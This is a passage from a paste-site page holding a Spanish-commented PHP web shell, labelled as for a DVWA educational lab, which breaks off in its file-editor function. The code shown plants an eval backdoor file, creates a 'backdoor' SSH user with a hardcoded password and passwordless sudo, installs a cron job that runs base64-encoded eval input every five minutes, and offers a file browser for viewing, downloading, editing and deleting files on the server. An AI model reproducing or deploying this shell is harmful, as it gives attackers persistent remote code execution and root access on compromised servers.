Paste

Auteur:

| Taille: 20.06 KB

|
<?php /\* \* SHELL PARA DVWA - SOLO PARA LABORATORIO EDUCATIVO \* Contraseña: ESCPCiber \* Propósito: Aprendizaje de técnicas ofensivas/defensivas \*/ // ==================== CONFIGURACIÓN ==================== error\_reporting(0); @ini\_set('display\_errors', 0); @set\_time\_limit(0); @ignore\_user\_abort(1); // Contraseña (cambiar según necesidad) define('PASSWORD', 'ESCPCiber'); define('SESSION\_TIMEOUT', 3600); // 1 hora // ==================== FUNCIONES DE PERSISTENCIA ==================== // 1. Crear backdoor persistente function crearPersistencia($ruta = null) { if ($ruta === null) { $ruta = dirname(\_\_FILE\_\_) . '/.config.php'; } $backdoor\_code = '<?php if(isset($\_GET["k"]) && $\_GET["k"]=="' . md5(PASSWORD) . '"){@eval($\_POST["c"]);} ?>';
if (@file\_put\_contents($ruta, $backdoor\_code)) {
    return "✓ Backdoor creada en: " . htmlspecialchars($ruta);
}
return "✗ Error creando backdoor";

}

// 2. Crear usuario SSH function crearUsuarioSSH($usuario = 'backdoor', $password = 'P@ssw0rd123') { if (!function_exists('shell_exec')) return "shell_exec no disponible";

$comando = "sudo useradd -m -s /bin/bash " . escapeshellarg($usuario) . " 2>&1";
$output = shell\_exec($comando);

if (strpos($output, 'already exists') === false) {
    $comando2 = "echo " . escapeshellarg($usuario . ":" . $password) . " | sudo chpasswd 2>&1";
    shell\_exec($comando2);
    
    // Añadir a sudoers
    $sudoers\_line = $usuario . " ALL=(ALL) NOPASSWD:ALL";
    shell\_exec("echo " . escapeshellarg($sudoers\_line) . " | sudo tee -a /etc/sudoers.d/" . $usuario . " 2>&1");
    
    return "✓ Usuario SSH creado: " . $usuario . " / " . $password;
}

return "Usuario ya existe";

}

// 3. Crear cronjob persistente function crearCronjob() { $script_path = dirname(__FILE__) . '/cron_backdoor.php'; $backdoor_code = '<?php if(isset($\_GET["r"])){@eval(base64\_decode($\_GET["r"]));} ?>';

@file\_put\_contents($script\_path, $backdoor\_code);

$cron\_line = "\*/5 \* \* \* \* php " . $script\_path . " > /dev/null 2>&1";
$output = shell\_exec("(crontab -l 2>/dev/null; echo \\"" . $cron\_line . "\\") | crontab - 2>&1");

return "✓ Cronjob creado: " . $cron\_line;

}

// ==================== EXPLORACIÓN DE ARCHIVOS ====================

// 4. Navegador de archivos avanzado function explorarDirectorio($directorio = '.') { if (!is_dir($directorio)) { return "Directorio no válido"; }

$html = '<div class="file-explorer">';
$html .= '<h4>📁 ' . htmlspecialchars(realpath($directorio)) . '</h4>';

// Navegación hacia arriba
if ($directorio != '.' && $directorio != '/') {
    $html .= '<div><a href="?dir=' . urlencode(dirname($directorio)) . '">📂 .. (directorio padre)</a></div>';
}

$archivos = @scandir($directorio);
if ($archivos === false) {
    return "Error al leer directorio";
}

foreach ($archivos as $archivo) {
    if ($archivo == '.' || $archivo == '..') continue;
    
    $ruta\_completa = $directorio . '/' . $archivo;
    $es\_dir = is\_dir($ruta\_completa);
    $tamano = $es\_dir ? 'DIR' : formatBytes(@filesize($ruta\_completa));
    $permisos = getPermisos($ruta\_completa);
    $propietario = getPropietario($ruta\_completa);
    $fecha = date('Y-m-d H:i:s', @filemtime($ruta\_completa));
    
    $icono = $es\_dir ? '📁' : getIconoArchivo($archivo);
    
    if ($es\_dir) {
        $html .= '<div class="file-item dir">';
        $html .= $icono . ' <a href="?dir=' . urlencode($ruta\_completa) . '">' . htmlspecialchars($archivo) . '</a>';
    } else {
        $html .= '<div class="file-item file">';
        $html .= $icono . ' ' . htmlspecialchars($archivo);
        $html .= ' <a href="?action=view&file=' . urlencode($ruta\_completa) . '" title="Ver">👁️</a>';
        $html .= ' <a href="?action=download&file=' . urlencode($ruta\_completa) . '" title="Descargar">⬇️</a>';
        $html .= ' <a href="?action=edit&file=' . urlencode($ruta\_completa) . '" title="Editar">✏️</a>';
        $html .= ' <a href="?action=delete&file=' . urlencode($ruta\_completa) . '" onclick="return confirm(\\'¿Eliminar?\\')" title="Eliminar">🗑️</a>';
    }
    
    $html .= ' <span class="file-info">' . $tamano . ' | ' . $permisos . ' | ' . $propietario . ' | ' . $fecha . '</span>';
    $html .= '</div>';
}

$html .= '</div>';
return $html;

}

// 5. Editor de archivos function editorArchivos($archivo) { $contenido = ''; if (isset($_POST['contenido']) && isset($_POST['guardar'])) { if (@file_put_contents($archivo, $_POST['contenido'])) { $contenido = $_POST['contenido']; $mensaje = '<div class="success">✓ Archivo guardado</div>'; } else { $me…

Commentaires

Pas encore de commentaires

Comment attachments are limited to 30MB total. For larger files, create a paste and share the link.

3/25/2026

Créer un nouveau paste avec les mêmes paramètres

Tout le contenu généré par les utilisateurs n'est pas examiné par AnonPaste. Si vous pensez que ce paste viole nos règles de la communauté or conditions d'utilisation, veuillez le signaler ici.

Initializing...

Preparing the app. This may take a moment before app is ready.

AnonPaste est un service d'hébergement de contenu généré par les utilisateurs. La plateforme et ses opérateurs ne sont pas responsables du contenu publié par les utilisateurs.